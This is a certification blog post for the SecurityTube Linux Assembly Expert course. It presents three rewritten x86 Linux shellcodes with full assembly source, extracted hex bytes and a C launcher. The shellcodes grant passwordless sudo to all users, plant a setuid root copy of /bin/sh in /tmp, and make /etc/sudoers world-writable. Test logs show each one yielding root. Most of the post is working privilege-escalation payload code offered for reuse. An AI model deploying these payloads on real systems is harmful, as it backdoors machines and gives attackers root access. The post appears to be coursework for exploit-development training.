The next assignment for the SLAE is taking existing shellcode from shell-storm or exploit-db and making polymorphic versions for three of them.
edit /etc/sudoers with ALL ALL=(ALL) NOPASSWD: ALL
The first shellcode I decided to tackle polymorphism on is shellcode for adding ALL ALL=(ALL) NOPASSWD: ALL to /etc/sudoers. Original shellcode can be found here:
http://shell-storm.org/shellcode/files/shellcode-62.php
To better understand the shellcode I decided to put it through a debugger and to my surprise the shellcode actually doesn’t work at all. This is because the original shellcode doesn’t clear out registers in preparation of the syscalls.
In GDB below after the MOV dl, 0x1c instruction is called:
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x3
ECX: 0xbffff5fc ("ALL ALL=(ALL) NOPASSWD: ALL\n")
EDX: 0xb7fbf81c --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff658 --> 0x0
ESP: 0xbffff5fc ("ALL ALL=(ALL) NOPASSWD: ALL\n")
EIP: 0x804a088 --> 0x80cd04b0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804a07f <code+63>: push 0x204c4c41
0x804a084 <code+68>: mov ecx,esp
0x804a086 <code+70>: mov dl,0x1c
=> 0x804a088 <code+72>: mov al,0x4
0x804a08a <code+74>: int 0x80
0x804a08c <code+76>: mov al,0x6
0x804a08e <code+78>: int 0x80
0x804a090 <code+80>: xor ebx,ebx
You can see that EDX contains more than just 0x1c which causes the write() to fail.
The exit call suffers the same issue after doing a MOV al, 0x1.
[----------------------------------registers-----------------------------------]
EAX: 0xffffff01
EBX: 0x0
ECX: 0xbffff5fc ("ALL ALL=(ALL) NOPASSWD: ALL\n")
EDX: 0xb7fbf81c --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff658 --> 0x0
ESP: 0xbffff5fc ("ALL ALL=(ALL) NOPASSWD: ALL\n")
EIP: 0x804a094 --> 0x80cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804a08e <code+78>: int 0x80
0x804a090 <code+80>: xor ebx,ebx
0x804a092 <code+82>: mov al,0x1
=> 0x804a094 <code+84>: int 0x80
0x804a096 <code+86>: add BYTE PTR [eax],al
0x804a098: add BYTE PTR [eax],al
0x804a09a: add BYTE PTR [eax],al
0x804a09c: add BYTE PTR [eax],al
We can see EAX is populated 0xffffff01 which results in a seg fault when the interrupt is ran.
So all in all, the shellcode is fairly useless.
For the polymorphic and working version of the shellcode I’ve used the JMP CALL POP technique for getting the string to be written on the stack. The shellcode is also register independent, null free, and smaller than the original that didn’t work (decreased from 86 bytes to 79 bytes).
My shellcode has also been published to Exploit-DB here: https://www.exploit-db.com/exploits/44507/
global _start
section .text
_start:
xor edx, edx ; clear edx
xor ecx, ecx ; clear ecx
push edx ; terminating NULL
push 0x7372656f ; "sreo"
push 0x6475732f ; "dus/"
push 0x6374652f ; "cte/"
mov ebx, esp ; point ebx to stack
inc ecx ; ecx to 1
mov ch, 0x4 ; ecx to 401 O_WRONLY | O_APPEND
push 0x5 ; open()
pop eax
int 0x80 ; execute open
xchg ebx, eax ; save fd in ebx
jmp short setup
write:
pop ecx ; pop "ALL ALL=(ALL) NOPASSWD: ALL"
mov dl, 0x1c ; len 28
push 0x4 ; write()
pop eax
int 0x80 ; execute write
push 0x1 ; exit ()
pop eax
int 0x80
setup:
call write
db "ALL ALL=(ALL) NOPASSWD: ALL" , 0xa
Let’s test by compiling and extracting the shellcode.
root@ubuntu:~/SLAE/assignments/6$ ./compile.sh editsudoers_jmp
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
root@ubuntu:~/SLAE/assignments/6# for i in $(objdump -d editsudoers_jmp |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x31\xd2\x31\xc9\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\x6a\x05\x58\xcd\x80\x93\xeb\x0d\x59\xb2\x1c\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xee\xff\xff\xff\x41\x4c\x4c\x20\x41\x4c\x4c\x3d\x28\x41\x4c\x4c\x29\x20\x4e\x4f\x50\x41\x53\x53\x57\x44\x3a\x20\x41\x4c\x4c\x0a
C wrapper:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xd2\x31\xc9\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\x6a\x05\x58\xcd\x80\x93\xeb\x0d\x59\xb2\x1c\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80\xe8\xee\xff\xff\xff\x41\x4c\x4c\x20\x41\x4c\x4c\x3d\x28\x41\x4c\x4c\x29\x20\x4e\x4f\x50\x41\x53\x53\x57\x44\x3a\x20\x41\x4c\x4c\x0a";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compile without stack protection.
root@ubuntu:~/SLAE/assignments/6# gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
And finally test.
root@ubuntu:~/SLAE/assignments/6# ./shellcode
Shellcode Length: 79
root@ubuntu:~/SLAE/assignments/6# cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
ALL ALL=(ALL) NOPASSWD: ALL
We can see the file has been successfully appended, so we should be able to sudo now without a password. Let’s test with our non-root user.
absolomb@ubuntu:~$ sudo bash
root@ubuntu:~#
Perfect!
cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh
The next shellcode on the menu is shellcode that copies /bin/sh into /tmp and sets the setuid bit on it.
Original shellcode here: http://shell-storm.org/shellcode/files/shellcode-540.php
I decided to start from scratch here and simplify things significantly in comparison to the original shellcode. Once again the JMP CALL POP technique was used, but this time for getting the commmand to be ran onto the stack. Original shellcode for this one was 126 bytes, mine accomplishes the same thing at 74 bytes.
My shellcode has also been published to Exploit-DB here: https://www.exploit-db.com/exploits/44510/
global _start
section .text
_start:
push 0xb ; execve()
pop eax ;
cdq ; set edx to 0
push edx ; NULL
push word 0x632d ; "c-"
mov edi,esp ; point edi to stack
push edx ; NULL
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "/bin"
mov ebx,esp ; point ebx to stack
push edx ; NULL
jmp short cmd
execute:
push edi ; "c-"
push ebx ; "/bin/sh"
mov ecx,esp ; point to stack
int 0x80 ; execute execve
cmd:
call execute
db "cp /bin/sh /tmp/sh; chmod +s /tmp/sh"
Compile and test.
absolomb@ubuntu:~/SLAE/assignments/6$ ./compile.sh execve
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
absolomb@ubuntu:~/SLAE/assignments/6$ for i in $(objdump -d execve |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\xeb\x06\x57\x53\x89\xe1\xcd\x80\xe8\xf5\xff\xff\xff\x63\x70\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x68\x3b\x20\x63\x68\x6d\x6f\x64\x20\x2b\x73\x20\x2f\x74\x6d\x70\x2f\x73\x68
Place shellcode in a C wrapper (same as above) and compile with GCC.
absolomb@ubuntu:~/SLAE/assignments/6$ gcc setuid.c -o setuid -fno-stack-protector -z execstack
Now run to test.
absolomb@ubuntu:~/SLAE/assignments/6$ sudo ./setuid
Shellcode Length: 74
absolomb@ubuntu:~/SLAE/assignments/6$ ls -al /tmp
total 144
drwxrwxrwt 7 root root 4096 Apr 20 10:08 .
drwxr-xr-x 22 root root 4096 Mar 19 16:33 ..
-rw------- 1 absolomb absolomb 0 Apr 20 06:28 config-err-o7e65E
drwxrwxrwt 2 root root 4096 Apr 20 06:28 .ICE-unix
-rwsr-sr-x 1 root absolomb 112204 Apr 20 10:09 sh
-rw-rw-r-- 1 absolomb absolomb 0 Apr 20 06:28 unity_support_test.0
drwx------ 2 absolomb absolomb 4096 Apr 20 06:28 vmware-absolomb
drwxrwxrwt 2 root root 4096 Apr 20 06:28 VMwareDnD
drwx------ 2 root root 4096 Apr 20 06:57 vmware-root
-r--r--r-- 1 root root 11 Apr 20 06:28 .X0-lock
drwxrwxrwt 2 root root 4096 Apr 20 06:28 .X11-unix
Our shell is indeed in /tmp with a root setuid.
absolomb@ubuntu:~/SLAE/assignments/6$ id
uid=1000(absolomb) gid=1000(absolomb) groups=1000(absolomb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
absolomb@ubuntu:~/SLAE/assignments/6$ /tmp/sh
# id
uid=1000(absolomb) gid=1000(absolomb) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(absolomb)
Success!
chmod 777 /etc/sudoers
For the last shellcode I decided to tackle something a little smaller and just made minor tweaks to the existing shellcode found here:
https://www.exploit-db.com/exploits/43463/
The original shellcode was at 36 bytes and I reduced it down to 33 bytes by removing XOR instructions and replacing with CDQ and by PUSH and POPs to accomplish the same thing.
global _start
section .text
_start:
cdq ; edx to 0
push edx ; terminating NULL
push 0x7372656f ; 'sreo'
push 0x6475732f ; 'dus/'
push 0x6374652f ; 'cte/'
mov ebx, esp ; point ebx to stack
mov cx, 0x1ff ; 777
push 0xf ; chmod()
pop eax
int 0x80 ; execute chmod()
push 0x1 ; exit()
pop eax
int 0x80 ; execute exit()
Let’s compile and test (you know the drill by now).
absolomb@ubuntu:~/SLAE/assignments/6$ ./compile.sh chmod
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
absolomb@ubuntu:~/SLAE/assignments/6$ for i in $(objdump -d chmod |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x99\x52\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\xff\x01\x6a\x0f\x58\xcd\x80\x6a\x01\x58\xcd\x80
absolomb@ubuntu:~/SLAE/assignments/6$ vim shellcode.c
absolomb@ubuntu:~/SLAE/assignments/6$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
absolomb@ubuntu:~/SLAE/assignments/6$ sudo ./shellcode
Shellcode Length: 33
absolomb@ubuntu:~/SLAE/assignments/6$ ls -al /etc/sudoers
-rwxrwxrwx 1 root root 745 Feb 10 2014 /etc/sudoers
All done!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1208
Github Repo: https://github.com/absolomb/SLAE